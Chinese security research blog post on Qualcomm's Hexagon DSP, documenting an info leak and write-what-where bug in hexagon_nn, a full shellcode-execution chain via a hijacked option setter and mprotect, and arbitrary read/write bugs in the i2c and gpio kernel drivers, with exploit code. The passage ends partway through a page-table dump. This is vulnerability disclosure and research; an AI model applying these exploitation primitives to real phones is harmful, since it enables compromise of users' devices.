概述
Hexagon是高通研发的数字信号处理器(DSP,Digital Signal Processor) 。目前市面上基于高通平台的手机都会使用该芯片,它主要用来进行音视频处理、AI计算以及信号调制解调。虽然它只是一枚协处理器,但它运行了一套完整的系统,这套系统包括:supervisor、内核(kernel)和应用。在此之前,已经有研究人员对Hexagon安全进行了相关研究(这里只列出了我认为有价值的资料):
- Attacking Hexagon: Security Analysis of Qualcomm’s aDSP简单介绍了Hexagon架构、如何与AP进行通信、攻击面分析以及盲测DSP应用;
- Pwn2Own Qualcomm DSP介绍了通过QEMU模拟的方式Fuzz DSP、内核攻击面、发现的漏洞(降级攻击、数据序列化、应用和内核);
- In-Depth Analyzing and Fuzzing for Qualcomm Hexagon Processor 介绍了一种基于路径覆盖的Fuzz方法
基于以上资料,我进行了独立的Hexagon安全研究。由于Hexagon代码闭源、有独立的指令架构、仅少量的官方资料,研究起来有一定的难度。我希望这篇博客能够帮助研究人员进一步了解Hexagon。具体来说,这篇博客的主要贡献如下:
- 公开我实现的利用方法,据我所知,已有议题只是介绍发现的漏洞,从未公开利用方法;
- 一种新的Fuzz方法,它可以在(某个)真机上动态测试应用、内核和虚拟机;
背景知识介绍
目前常见的是第六代Hexagon芯片(V6x),它有三个PD(Protection Domains):supervisor、Guest OS和User。supervisor拥有最高权限。supervisor有一个开源实现hexagonMVM,我认为它有一定的参考性,但由于代码年久失修,它可能无法反映近几年硬件情况。我其实更愿意称Guest OS为kernel,这样也许更容易理解(不一定对)。高通实现了名为QuRT的内核,但它并未开源。Linux内核同样支持Hexagon架构,你可以在arch/hexagon下找到相关代码。应用通常在User mode下运行,它的权限最低。
高通提供了相关的SDK方便开发者开发应用。这个SDK非常强大,除了提供代码编译环境,它还提供了模拟运行环境,你可以在这个环境中测试应用。需要注意的是:厂商对手机进行了限制,没有厂商签名的应用只能使用有限的API,甚至无法在手机上运行。
V67版本的Hexagon有32个通用寄存器,系统寄存器个数未知。你可以在SDK的模拟环境中(hexagon-sim)打印出所有系统寄存器,但它能否反映硬件真实情况不得而知。我没有找到系统寄存器相关资料,所有这些寄存器的含义同样是一个迷。Hexagon有自己的指令集,它支持 very long instruction word(VLIW)packet。编译器可以将1至4条指令组成VLIW,位于VLIW中的指令可以并行执行(更多信息可以参阅Qualcomm ® Hexagon™ V67 Programmer’s Reference Manual)。以下是一个VLIW例子:
LOAD:C014739C { r2 = ##0x51FFFE
LOAD:C01473A4 r4 = r16
LOAD:C01473A8 memw(r16 + #4) = r2.new }
r2寄存器被赋值为0x51FFFE,r16寄存器的值赋给r4,将r2寄存器的值0x51FFFE写入内存。你可以使用SDK中hexagon-llvm-objdump工具反编译二进制文件,从而获取相关指令,也可以通过IDA插件idp_hexagon反编译二进制文件。目前IDA插件并不能将指令翻译为伪代码,因此只能通过阅读汇编指令来了解程序行为。
应用漏洞挖掘
DSP应用位于手机以下目录:
/vendor/dsp/adsp
:包含在ADSP(audio)中运行的shell及应用;/vendor/dsp/cdsp
:包含在CDSP(compute)中运行的shell及应用;/vendor/lib/rfsa/adsp/
:其他应用;
具体的应用以so的形式存在,它们不能单独运行。当应用加载时,首先需要加载shell程序,它是一个通用的程序框架。在ADSP中,它的名字是fastrpc_shell_0,而在CDSP中,有两个不同的shell:fastrpc_shell_3和fastrpc_shell_unsigned_3。前者用于运行有厂商签名的应用,后者用于运行没有签名的应用。正如前文提到的,没有签名的应用可用的API非常有限。这些应用都是潜在的攻击对象。
除此之外,SDK提供了一些开源库,比如用于神经网络的hexagon_nn库。源码分析要比阅读汇编指令轻松的多,因此我优先选择分析这些开源库。
hexagon_nn是高通开发的将神经网络加载到Hexagon的框架。我在这个库中发现了多个漏洞,并实现了shellcode执行。由于厂商使用了相同签名,因此有问题的库可以运行在不同品牌的手机上,同时,由于存在降级攻击,即便是最新版本的手机也可能被攻击。
信息泄露
hexagon_nn库提供了一个非常有趣的API:
src/interface.c
218 int hexagon_nn_get_dsp_offset(uint32_t *libhexagon_addr, uint32_t *fastrpc_shell_addr)
219 {
220
223 *fastrpc_shell_addr = (uint32_t)&qurt_sem_add;
224 *libhexagon_addr = (uint32_t)&hexagon_nn_get_dsp_offset;
230 }
这个API返回shell和hexagon_nn中两个变量的地址。通过静态分析,我可以确认上述两个变量分别在shell和hexagon_nn中的偏移,从而可以计算出shell和hexagon_nn的加载地址。
同时,厂商在编译hexagon_nn库时开启了调试功能,我可以获得动态分配的对象的地址。首先通过hexagon_nn_domains_set_debug_level() 设置graph的debug级别:
src/interface.c
335 int hexagon_nn_set_debug_level(nn_id_t id, int level)
336 {
337 struct nn_graph *graph;
338 if ((graph = nn_id_to_graph(id)) == NULL) return -1;
339 if (level < 0) level = 0;
340 graph->debug_level = level;
341 return 0;
342 }
之后,我可以通过hexagon_nn_domains_snpprint() 来获得graph信息:
src/interface.c
hexagon_nn_domains_snpprint()
|
|-> hexagon_nn_snpprint()
|
|-> do_snpprint()
48 void do_snpprint(struct nn_graph *nn, char *buf, uint32_t n)
49 {
57 PRINTF_APPEND(buf,n,len,"nn @ %p: id=0x%lx debug_level=%d\n",nn,nn->id,nn->debug_level);
58 for (node = nn->head; node != NULL; node = node->next) {
61 PRINTF_APPEND(buf,n,len,"node @ %p: id=0x%x type=0x%x(%s) n_inputs=%d n_outputs=%d padding=%x(%s)\n", // 泄露node地址信息
62 node,
63 (unsigned int)node->node_id,
64 (unsigned int)node->node_type,
65 opname,
66 (unsigned int)node->n_inputs,
67 (unsigned int)node->n_outputs,
68 node->padding,
69 padname);
70 if (nn->debug_level > 0) for (i = 0; i < node->n_inputs; i++) {
71 PRINTF_APPEND(buf,n,len,"... input %d @ %p <src_id %x out_idx %d>\n", // 泄露input地址信息
72 i,
73 node->inputs[i],
74 (unsigned int)node->input_refs[i].src_id,
75 (unsigned int)node->input_refs[i].output_idx);
76 }
77 if (nn->debug_level > 0) for (i = 0; i < node->n_outputs; i++) {
78 PRINTF_APPEND(buf,n,len,"... output %d @ %p\n", i,node->outputs[i]); // 泄露output地址信息
79 }
84 }
任意写
hexagon_nn支持创建不同类型的node,我可以通过hexagon_nn_domains_append_empty_const_node()创建const类型的node:
src/interface.c
hexagon_nn_domains_append_empty_const_node(data_len)
|
|-> hexagon_nn_append_empty_const_node(data_len)
|
|-> do_append_empty_const_node(data_len)
|
|-> hexagon_nn_empty_const_ctor(data_len)
|
|-> const_tensor = tensor_alloc(data_len)
| |
| | if (data_size) {
| | } else {
| | newtensor->data = NULL;
| | }
| | newtensor->max_size = newtensor->data_size = data_size;
| | newtensor->self = newtensor;
|
| self->n_outputs = 1;
| self->outputs = &const_tensor->self
如果传入的data_len是0,那么新创建的tensor->data为NULL。这个tensor最终会赋值到node的outputs。我可以通过上述漏洞泄露outputs内容,因此,我可以知道tensor的地址。之后,我可以通过hexagon_nn_populate_const_node() API进行任意写:
hexagon_nn_populate_const_node(data, data_len, target_offset)
|
|-> do_populate_const_node(data, data_len, target_offset)
|
|-> hexagon_nn_populate_const(data, data_len, target_offset)
|
| start = (uint8_t *) node->outputs[0]->data + target_offset;
| memcpy(start, data, data_len);
hexagon_nn_populate_const_node()并没有检查tensor->data_size,而是直接根据用户传入的offset进行拷贝,从而导致无条件的write-what-where漏洞。
漏洞利用
尽管《Pwn2Own Qualcomm DSP》演示了如何在Pixel手机上攻击DSP,但相关的利用细节并未公开。
要实现任意代码执行,我需要一块具备可写可执行属性的内存区域。从hexagon-readelf的结果来看,没有这样的内存区域。因此,我需要调用mprotect()来改变现有的内存区域属性。QuRT扩展了标准API,它实现了以下函数:
libs/common/qurt/computev65/include/qurt/qurt_mmap.h
int qurt_mem_mprotect(const void *addr, size_t length, int prot);
#define QURT_PROT_NONE 0x00
#define QURT_PROT_READ 0x01
#define QURT_PROT_WRITE 0x02
#define QURT_PROT_EXEC 0x04
为了调用qurt_mem_mprotect(),我需要劫持一个函数指针,这个函数指针需要至少3个参数,且前三个参数可以控制。我选取的是nn_option_descriptor结构体:
include/nn_graph_options.h
148 struct nn_option_descriptor {
149 char const *name;
150 int typecode;
151 option_setter_fp setter_func;
152 int settercode;
153 int defval;
154 };
它的功能是描述一个配置选项,比如选项的名字(name字段),配置选项的处理函数(setter_func)等。其中setter_func的定义如下:
typedef int (*option_setter_fp)( struct nn_graph * nn, int code, int value );
当要设置一个类型为int的选项时,hexagon_nn会调用nn_option_set_int():
src/graph_options.c
hexagon_nn_set_graph_option()
|
|-> nn_option_set_int()
53 int nn_option_set_int( struct nn_graph * nn, char const *name, int value )
54 {
55 struct nn_option_descriptor const * descp = OptionDescTable;
81 while( descp->name != 0 ){
82 if( strcmp(descp->name,name)==0){
83 logmsg(nn,3,"set %s = %d", name, value);
84 return (descp->setter_func)( nn, descp->settercode, value);
85 }
86 ++descp;
87 }
89 }
OptionDescTable是全局变量,我可以修改descp->setter_func和descp->settercode。同时,我也可以控制value参数。现在唯一的问题是如何控制nn。nn表示一个graph,正常情况下,graph是动态分配的,它的地址不可控。而mprotect()第一个参数是内存地址,因此,我需要在目标内存位置构建一个假的graph。
通过hexagon_readelf工具可以读取hexagon_nn_skel.so各个段信息:
hexagon-readelf -a libhexagon_nn_skel.so
DynamicSection [
0x00000003 PLTGOT 0x113fd8
]
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
NULL 0x000000 0x00000000 0x00000000 0x000f4 0x00000 OS[0x70] 0x0
NULL 0x001000 0x00113000 0x00113000 0x019e8 0x02000 OS[0x22] 0x1000
LOAD 0x003000 0x00000000 0x00000000 0x110044 0x110044 R E 0x1000
LOAD 0x114000 0x00111000 0x00111000 0x08770 0x08771 RW 0x1000
DYNAMIC 0x115d4c 0x00112d4c 0x00112d4c 0x000b0 0x000b0 RW 0x4
GNU_RELRO 0x114000 0x00111000 0x00111000 0x01fd4 0x01fd4 RW 0x8
我选取0x113000的位置存放shellcode,所以需要在这里构造一个假的graph。先使用读原语读取0x113000处的数据,目的是尽可能较少地修改数据来构造假的graph:
hexagon_nn_read(handle, fake_graph, &graph, sizeof(graph));
graph.id = idx;
graph.debug_level = 0;
graph.next_graph = 0;
hexagon_nn_write(handle, fake_graph, &graph, sizeof(graph));
设置graph的id以便后续可以找到它;使debug_level为0,防止意外读取其他数据,导致崩溃;设置next_graph为NULL来避免读取垃圾数据。最后将graph注册到graph_table中:
value = fake_graph;
hexagon_nn_write(handle, graph_table + idx * 4, &value, sizeof(value));
这样,hexagon_nn可以通过nn_id_to_graph()找到我构造的graph:
nn_id_to_graph()
|
|-> find_graph_inner()
126 struct nn_graph * find_graph_inner(nn_id_t grid, struct graph_hashtable_entry **entryp )
127 {
129 struct graph_hashtable_entry * tabp = &graph_table[ find_hash(grid)];
135 struct nn_graph *grp = tabp->graph_list;
141 return grp;
159 }
现在我可以通过调用hexagon_nn_set_graph_option() API来调用qurt_mem_mprotect():
prot = QURT_PROT_READ | QURT_PROT_WRITE | QURT_PROT_EXEC;
ret = hexagon_nn_set_graph_option(handle, FAKE_GRAPH_ID, MAGIC_OPTION, prot);
当内存属性改变后,我可以向其中写入shellcode:
value = 0xa09dc000; // allocframe(#0)
hexagon_nn_write(handle, shellcode, &value, sizeof(value));
value = 0x7800c000; // r0 = #0
hexagon_nn_write(handle, shellcode+4, &value, sizeof(value));
value = 0x961ec01e; // dealloc_return
hexagon_nn_write(handle, shellcode+8, &value, sizeof(value));
接着修改setter_func指针,使其指向shellcode,触发shellcode。如何确认shellcode是否真的执行了?一种方法是通过logcat查看日志:
adb logcat -s adsprpc
我故意写入一些非法指令:
value = 0xa09dc000; // allocframe(#0)
hexagon_nn_write(handle, shellcode, &value, sizeof(value));
value = 0xaaaaaaaa; // crash
hexagon_nn_write(handle, shellcode+4, &value, sizeof(value));
value = 0x961ec01e; // dealloc_return
hexagon_nn_write(handle, shellcode+8, &value, sizeof(value));
如果shellcode得到执行,logcat会显示以下日志:
############################### Process on aDSP CRASHED!!!!!!! ########################################
--------------------- Crash Details are furnished below ------------------------------------
process "/frpc/f0559f80 test" crashed in thread "/frpc/f0559f80 " due to TLBMISS RW occurrence
Crashed Shared Object fastrpc_shell_0 load address : 0x17400000
fastrpc_shell_0 load address : 17400000 and size : E19B4
Fault PC : 0x616104
LR : 0x1747D840
SP : 0x4B988A60
Bad va : 0xFFFFF000
FP : 0x4B988A60
SSR : 0x21F70871
Call trace:
[<1747D840>] mod_table_invoke+0x23C: (fastrpc_shell_0)
[<1747D840>] mod_table_invoke+0x23C: (fastrpc_shell_0)
[<1749C6B4>] fastrpc_invoke_dispatch+0x154: (fastrpc_shell_0)
[<17477874>] HAP_proc_adaptive_qos+0x3C8: (fastrpc_shell_0)
[<17479610>] _pl_fastrpc_uprocess+0x7D0: (fastrpc_shell_0)
----------------------------- End of Crash Report ------------
从日志中我们可以看到PC指向0x616104,与我们存放shellcode的位置相符(有地址随机化)。从而证明shellcode得到执行。
内核漏洞挖掘
我从《Pwn2Own Qualcomm DSP》得知驱动是一个潜在的攻击面。分析驱动的前提是知道驱动的处理函数入口。一种方法是通过字符串搜索,比如搜索“/dev”查看可能的设备名字:
LOAD:B064F753 00000009 C /dev/i2c
LOAD:B0655ED2 00000009 C /dev/dog
LOAD:B06564D5 00000010 C /dev/err_qdi_pd
LOAD:B0657F00 0000000F C /dev/servnotif
LOAD:B0658324 00000015 C /dev/qdss_stm_mapQDI
LOAD:B065C1AB 00000010 C /dev/ipc_router
LOAD:B065C3FC 0000000A C /dev/smem
LOAD:B065C46F 0000000B C /dev/smp2p
LOAD:B065D2B4 0000000A C /dev/null
LOAD:B065DF4F 00000009 C /dev/npa
LOAD:B065E790 0000000A C /dev/diag
LOAD:B066079A 0000000C C /dev/timers
LOAD:B0660880 0000000D C /dev/utimers
LOAD:B06665E4 00000010 C /dev/GPIOIntQdi
LOAD:B06738D5 00000012 C /dev/fastrpc_kmem
LOAD:F0188028 0000000D C /dev/urandom
LOAD:F018AE95 00000009 C /dev/sem
这种方式只能找到部分驱动。还有一种方式是通过qurt_qdi_obj_t结构体来寻找。qurt_qdi_obj_t结构体定义如下:
libs/common/qurt/computev65/include/qurt/qurt_qdi_driver.h
99 typedef struct qdiobj {
100 qurt_qdi_pfn_invoke_t invoke;
101 int refcnt;
102 qurt_qdi_pfn_release_t release;
103 } qurt_qdi_obj_t;
其中invoke是驱动处理函数,refcnt表示引用计数。refcnt的值非常有意思:
libs/common/qurt/computev65/include/qurt/qurt_qdi_constants.h
256 #define QDI_REFCNT_BASE 0x510000
257 #define QDI_REFCNT_MAXED 0x51FFFD
258 #define QDI_REFCNT_INIT 0x51FFFE
259 #define QDI_REFCNT_PERM 0x51FFFF
初始情况下,它的值为QDI_REFCNT_INIT,即0x51FFFE。通过搜索这个特定值,我能找到更多的驱动入口函数。在分析这些处理函数之前,需要确认函数参数。从qurt_qdi_pfn_invoke_t的定义发现,这些处理函数的参数如下:
#define QDI_INVOKE_ARGS \
int, struct qdiobj *, int, \
qurt_qdi_arg_t, qurt_qdi_arg_t, qurt_qdi_arg_t, \
qurt_qdi_arg_t, qurt_qdi_arg_t, qurt_qdi_arg_t, \
qurt_qdi_arg_t, qurt_qdi_arg_t, qurt_qdi_arg_t
从qurt_qdi_driver.h头文件中的注释可以得知参数布局:
第一个参数:handle (R0寄存器)
第二个参数:设备对应的opener(R1寄存器)
第三个参数:方法(R2寄存器)
第四个参数:方法第一个参数(R3寄存器)
第五个参数:方法第二个参数(R4寄存器)
第六个参数:方法第三个参数(R5寄存器)
第七个参数:方法第四个参数(SP + 0)
第八个参数:方法第五个参数(SP + 4)
第九个参数:方法第六个参数(SP + 8)
第十个参数:方法第七个参数(SP + 12)
第十一个参数:方法第八个参数(SP + 16)
第十二个参数:方法第九个参数(SP + 20)
现在可以开始分析驱动了。
i2c驱动任意地址读漏洞
我在i2c驱动中找到多个漏洞,比较好的漏洞包括任意地址写0和任意地址读。这里仅介绍任意地址读漏洞。dev_i2c_invoke()首先查看method,并将相关参数保存到各个寄存器中:
LOAD:F004BFE4 { call save_r16_r21
LOAD:F004BFE8 p0 = cmp.eq(r1, #0)
LOAD:F004BFE8 allocframe(#0x30) }
LOAD:F004BFEC { r17:16 = combine(r4, r3) // r16 = 参数1, r17 = 参数2
LOAD:F004BFF0 if (!p0) r20 = add(r1, ##0x118)
LOAD:F004BFF8 if (p0) jump loc_F004C06C }
LOAD:F004BFFC { r15:14 = bitsplit(r2, #8) // r2保存要调用的method号,r15保存method号的高24位,r14保存低8位
LOAD:F004C000 r19 = add(r1, #0xF8)
LOAD:F004C004 r8 = memw(sp + #0x30+arg_C)
LOAD:F004C008 r4 = memw(sp + #0x30+arg_4) }
LOAD:F004C00C { p0 = cmp.eq(r15, #1) // method号第8位是否为1
LOAD:F004C010 r12 = memw(sp + #0x30+arg_10)
LOAD:F004C014 r9 = memw(sp + #0x30+arg_8) }
LOAD:F004C018 { if (p0) jump dev_i2c_methods
如果方法为0x1XX,跳转到dev_i2c_methods():
LOAD:F004C074 { p0 = cmp.gtu(r14, #0x13)
LOAD:F004C078 if (p0.new) jump:nt loc_F004C03C }
LOAD:F004C07C { r13 = memw(r14<<#2 + ##0xF019CBCC) } // 根据method号低8位确定处理函数
LOAD:F004C084 { jumpr r13
LOAD:F004C088 r3 = ##sub_F004D000
LOAD:F004C088 r7 = #0 }
dev_i2c_method_0x109()存在任意地址读问题,分析如下:
LOAD:F004C1AC { call sub_F004D0F8
LOAD:F004C1B0 r0 = r16 } // r0保存参数1
LOAD:F004D0F8 { p0 = cmp.eq(r0, #0)
LOAD:F004D0F8 if (p0.new) jump:nt loc_F004D108 // 参数1如果为0,立即返回
LOAD:F004D0FC memd(sp + #-8+var_8) = r17:16
LOAD:F004D0FC allocframe(#8) }
LOAD:F004D100 { jump loc_F004D118
LOAD:F004D104 r16 = memw(r0 + #0x2C) } // 从参数1+0x2c处读取4字节到r16
LOAD:F004D118 { r0 = r16 // r0保存读取的数据
LOAD:F004D11C r17:16 = memd(sp + #-8+arg_0)
LOAD:F004D11C dealloc_return }
这个函数直接从r0 + #0x2C
偏移处读取数据,然后返回给应用。
gpio驱动任意地址写漏洞
drv_gpio_invoke()函数逻辑如下:
LOAD:F00F2C50 { call save_r16_r23
LOAD:F00F2C54 allocframe(#0x48) }
LOAD:F00F2C58 { r17:16 = combine(r4, r5) // r17 = 参数2, r16 = 参数3
LOAD:F00F2C5C r19:18 = combine(r2, r3) // r19 = idx = 0x4FX, r18 = 参数1
LOAD:F00F2C60 r27 = memw(sp + #0x48+arg_14)
LOAD:F00F2C64 r23 = memw(sp + #0x48+arg_C) }
LOAD:F00F2C68 { r21:20 = combine(r0, r1)
LOAD:F00F2C6C r26 = memw(sp + #0x48+arg_4)
LOAD:F00F2C70 r25 = memw(sp + #0x48+arg_10) }
LOAD:F00F2C74 { call sub_F0127090 // 调用sub_F0127090
LOAD:F00F2C78 r22 = memw(sp + #0x48+arg_8)
LOAD:F00F2C7C r24 = memw(sp + #0x48+arg_0) }
LOAD:F00F2C80 { r5:4 = combine(r16, r17) // r5 = r16 = 参数3, r4 = r17 = 参数2
LOAD:F00F2C84 r3:2 = combine(r18, r19) // r3 = r18 = 参数1, r2 = r19 = idx
LOAD:F00F2C88 p0 = cmp.eq(r0, #0)
LOAD:F00F2C88 if (p0.new) jump:nt loc_F00F2CAC } // 假设返回值不为0
LOAD:F00F2C8C { r1:0 = combine(r20, r21)
LOAD:F00F2C90 memw(sp + #0x48+var_34) = r27
LOAD:F00F2C94 memw(sp + #0x48+var_38) = r25 }
LOAD:F00F2C98 { memw(sp + #0x48+var_3C) = r23
LOAD:F00F2C98 memw(sp + #0x48+var_40) = r22 }
LOAD:F00F2C9C { memw(sp + #0x48+var_44) = r26
LOAD:F00F2CA0 memw(sp + #0x48+var_48) = r24 }
LOAD:F00F2CA4 { call sub_F00F2D08 } // 调用sub_F00F2D08
LOAD:F00F2CA8 { jump loc_F015E020 }
如果sub_F0127090()的返回值不为0(经过测试,sub_F0127090()返回值不为0),那么函数最终会调用sub_F00F2D08():
LOAD:F00F2D08 { r11:10 = bitsplit(r2, #8) // r2 = idx = 0x4FX
LOAD:F00F2D0C r7:6 = combine(r0, r3) // r6 = r3 = 参数1
LOAD:F00F2D10 allocframe(#0x18) }
LOAD:F00F2D14 { p0 = cmp.eq(r11, #4)
LOAD:F00F2D18 if (!p0.new) r0 = #1
LOAD:F00F2D1C r12 = memw(sp + #0x18+arg_14)
LOAD:F00F2D20 r13 = memw(sp + #0x18+arg_C) }
LOAD:F00F2D24 { r14 = memw(sp + #0x18+arg_4)
LOAD:F00F2D28 r9 = memw(sp + #0x18+arg_10) }
LOAD:F00F2D2C { if (p0) jump loc_F00F2D54 // 调用loc_F00F2D54
LOAD:F00F2D30 r3 = memw(sp + #0x18+arg_8)
LOAD:F00F2D34 r8 = memw(sp + #0x18+arg_0) }
LOAD:F00F2D54 { r15 = add(r10, #-0xF4) // 减去0xF4
LOAD:F00F2D58 if (cmp.gtu(r15.new, #9)) jump:nt drv_gpio_method_1 }
LOAD:F00F2D5C { r15 = memw(r15<<#2 + ##0xF01D6CA4) }
LOAD:F00F2D64 { jumpr r15 }
它根据用户传入的method的idx调用相关函数。需要注意的是:method低8位需要减去0xF4。drv_gpio_method_0()存在任意地址写问题,分析如下:
LOAD:F00F2D68 drv_gpio_method_0: // 0x4F4
LOAD:F00F2D68 { call sub_F00F2984
LOAD:F00F2D6C r1:0 = combine(r4, r6) } // r0 = r6 = 参数1, r1 = r4 = 参数2
LOAD:F00F2D70 { jump loc_F00F2DF8 }
LOAD:F00F2984 { p0 = cmp.eq(r1, #0)
LOAD:F00F2988 r2 = r0 // r2 = r0 = 参数1
LOAD:F00F298C if (!p0.new) memw(r1) = r2.new } // memw(参数2) = 参数1
LOAD:F00F2990 { r0 = mux(p0, #-1, #0)
LOAD:F00F2994 jumpr lr }
这个函数最终将参数1的值写入参数2指向的内存中。
内核漏洞利用
现在我已经找到读写原语,我需要搭建起从AP到Hexagon内核攻击的桥梁。具体来说,我需要在hexagon_nn应用中编写shellcode,它可以将AP发来的请求转发给上述读写原语,从而实现在AP侧直接读写Hexagon内核。
首先,我复刻了SDK中已有的hexagon_nn项目,在项目中编写了读写原语相关函数:
23 int mqdi_i2c_read(uint32_t addr, uint32_t *value)
24 {
25 uint32_t ret;
26 uint32_t handle;
27 char device[9] = {'/', 'd', 'e', 'v', '/', 'i', '2', 'c', '\0'};
28
29 handle = qurt_qdi_open(device);
30 ret = qurt_qdi_handle_invoke(handle, 0x109, addr - 0x2c, 0, 0, 0, 0, 0, 0, 0, 0);
31 qurt_qdi_close(handle);
32 *value = ret;
33 return 0;
34 }
36 int mqdi_gpio_write(uint32_t addr, uint32_t value)
37 {
38 uint32_t ret;
39 uint32_t handle;
40 char device[10] = {'/', 'd', 'r', 'v', '/', 'g', 'p', 'i', 'o', '\0'};
41
42 handle = qurt_qdi_open(device);
43 ret = qurt_qdi_handle_invoke(handle, 0x4f4, value, addr,
44 0, 0, 0, 0, 0, 0, 0);
45 qurt_qdi_close(handle);
46 return 0;
47 }
编译上述函数后,我可以获得相关的shellcode指令。需要注意的是这两个函数使用了shell程序中提供的API,我们需要在运行时进行链接,以便它们能够正确地调用API。我手动编写了跳转表,以便能够调用目标函数:
137 uint32_t mqdi_i2c_read[59] = {
161 0x5a00c036, // 0xe6b1615c { call sub_e6b161c8 } => qurt_qdi_open()
177 0x5a00c01c, // 0xe6b1619c { call sub_e6b161d4 } => qurt_qdi_handle_invoke()
180 0x5a00c01c, // 0xe6b161a8 { call sub_e6b161e0 } => qurt_qdi_close()
188 0x00054ad2, // 0xe6b161c8
189 0x7800c19c, // 0xe6b161cc { r28 = qurt_qdi_qhi6 0x52b48c } 跳转到qurt_qdi_open()
190 0x529CC000, // 0xe6b161d0 { jumpr r28 }
191 0x00054ad2, // 0xe6b161d4
192 0x7800c01c, // 0xe6b161d8 { r28 = qurt_qdi_qhi12 0x52b480 } 跳转到qurt_qdi_handle_invoke()
193 0x529CC000, // 0xe6b161dc { jumpr r28 }
194 0x00054ad1, // 0xe6b161e0
195 0x7800c01c, // 0xe6b161e4 { r28 = qurt_qdi_close 0x52b440 } 跳转到qurt_qdi_close()
196 0x529CC000, // 0xe6b161e8 { jumpr r28 }
197 };
有了内核读写原语之后,我可以轻易地劫持函数指针。但这并不是我想要的,我的想法是能否借助Hexagon攻击AP内核?例如能否将内存映射到Hexagon中,通过Hexagon来攻击Android内核?之所以有这样的想法,原因在于Hexagon芯片很高级:它有自己的MMU。虽然这种想法最终没有实现,但我还是想分享一下研究过程。
要实现这种攻击,我需要完成两件事情:一是需要了解Hexagon的页表格式;二是识别出页表寄存器。《Hexagon Virtual Machine Specification》中描述了页表相关格式。Hexagon的MMU支持两种不同的页表。第一种是Translation List项:
低位:| 0 0 1 1 | 0 1 1 1 | 0 0 0 0 | 0 0 0 0 | 1 1 0 0 | 0 1 1 0 | 1 0 1 1 |
| X W R U | C | - | Logical Page |
高位:| 1 1 0 0 | 0 0 0 0 | 0 0 0 0 | 1 1 1 0 | 0 0 0 0 | 1 0 1 0 | 0 0 1 1 | 0 1 0 1 |
| L| reserved | Size | Virtual Page |
各个标志位含义:
X:可执行
W:可写
R:可读
U:用户可访问
C:Cache策略
L:Link bit. 置位后当前项指向下一级Transation List,31:0位表示下一级地址,其他位忽略
页大小信息:
b000:4KB
b001:16KB
b010:64KB
b011:256KB
b100:1MB
b101:4MB
b110:16MB
实际上adsp.elf有一个段全部是Translation List项。使用hexagon-readelf读取的adsp.elf信息如下:
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
NULL 0x000000 0x00000000 0x00000000 0x00214 0x00000 OS[0x70] 0x0
NULL 0x001000 0x8dc00000 0x8dc00000 0x01c78 0x02000 OS[0x22] 0x1000
LOAD 0x003000 0xf0000000 0x8be00000 0x0221c 0x03000 R E OS[0x80] 0x100000
LOAD 0x006000 0xf0003000 0x8be03000 0x33128 0x34000 RWE OS[0x80] 0x1000
LOAD 0x03a000 0xf0037000 0x8be37000 0x1b96a8 0x1ba000 R E OS[0x80] 0x1000
LOAD 0x1f4000 0xf01f1000 0x8bff1000 0xdae24 0x437000 RW OS[0x80] 0x1000
LOAD 0x2cf000 0xf0628000 0x8c428000 0x00b80 0x01000 RW OS[0x80] 0x1000
LOAD 0x2d0000 0xf0629000 0x8c429000 0x0b478 0x0c000 R OS[0x80] 0x1000
LOAD 0x2dc000 0xe0a35000 0x8c435000 0xa9ce8 0xa9ce8 R OS[0x80] 0x1000
LOAD 0x386000 0xe65c5000 0x8c4df000 0x00084 0x00084 R OS[0x80] 0x1000 // Translation List
LOAD 0x387000 0xb0000000 0x8c500000 0x794b88 0x795000 R E OS[0x80] 0x1000
LOAD 0xb1c000 0xb0795000 0x8cc95000 0xa9c20 0xb06000 RW OS[0x80] 0x1000
LOAD 0xbc6000 0xb129b000 0x8d79b000 0x01058 0x02000 RW OS[0x80] 0x1000
LOAD 0xbc8000 0xb129d000 0x8d79d000 0x6ea44 0x6f000 R OS[0x80] 0x1000
LOAD 0xc37000 0xb130c000 0x8d80c000 0x00000 0x3f4000 R OS[0x80] 0x1000
顺便提下:adsp中包含了supervisor和QuRT两部分代码,前者位于0xf0000000,后者位于0xb0000000。按照上述格式解析0xe65c5000段中的数据:
Transation List项:
E65C5000: 0x37000C6B
E65C5004: 0xC00E0A35
获得虚拟地址是:
| 1 1 1 0 | 0 0 0 0 | 1 0 1 0 | 0 0 1 1 | 0 1 0 1 | 0 0 0 0 | 0 0 0 0 | 0 0 0 0 |
即:
0xe0a35000:只读,且用户可读
第二种是普通的页表。HVM 定义了两级虚拟页表:第一级将虚拟地址空间分解为 1020 个 4MB 段,每个段由页表条目(PTE)表示。
一级 PTE 始终包含映射的虚拟内存页面的大小: (1) 对于 4MB 或更大的页面,第一级条目包含翻译和页面的权限信息。 (2) 对于小于 4MB 的页面,第一级条目包含指向二级页表的指针。
一级 PTE 的低三位对条目类型和页面大小进行编码,其余位的定义因条目类型而异:
| 31 4 | 3 2 1 0 |
| | | s |
以下是s位在不同值下对应的条目格式:
S value | Entry Type | Page Size | L2 Entries | Address Bits
000 Page Directory 4KB 1024 31:12
001 Page Directory 16KB 256 31:10
010 Page Directory 64KB 64 31:8
011 Page Directory 256KB 16 31:6
100 Page Directory 1MB 4 31:4
101 Page Table 4MB N/A N/A
110 Page Table 16MB N/A N/A
111 Invalid Invalid N/A N/A
对于页大小是4MB和16MB的页表,只有一级页表。此时,它是page table(而不是page directory)。其中的页表项格式如下:
4M页表项:
| 31 22 | 21 12 | 11 | 10 | 9 | 8 6 | 5 | 4 | 3 | 2 0 |
| Logical Page | - | X | W | R | C | U | T | - | 5 |
16M页表项:
| 31 24 | 23 12 | 11 | 10 | 9 | 8 6 | 5 | 4 | 3 | 2 0 |
| Logical Page | - | X | W | R | C | U | T | - | 6 |
其他页表项:
| 31 12 | 11 | 10 | 9 | 8 6 | 5 | 4 | 3 | 2 0 |
| Logical Page | X | W | R | C | U | T | - | - |
我找到了hexagonMVM代码中创建页表的代码,它创建了16MB页表,格式如下:
XLAT256M(0x00000fc0) XLAT64M(0x00000fc0) XLAT16M(0x00000fc0) 0x00000fc6
0x00000fc6
0x00000fc6
0x00000fc6
----------------------------------------------------------------------------------
XLAT16M(0x01000fc0) 0x01000fc6
0x01000fc6
0x01000fc6
0x01000fc6
----------------------------------------------------------------------------------
XLAT16M(0x02000fc0) 0x02000fc6
0x02000fc6
0x02000fc6
0x02000fc6
----------------------------------------------------------------------------------
XLAT16M(0x03000fc0) 0x03000fc6
0x03000fc6
0x03000fc6
0x03000fc6
----------------------------------------------------------------------------------
XLAT16M(0x04000fc0) XLAT64M(0x04000fc0) 0x04000fc6
0x04000fc6
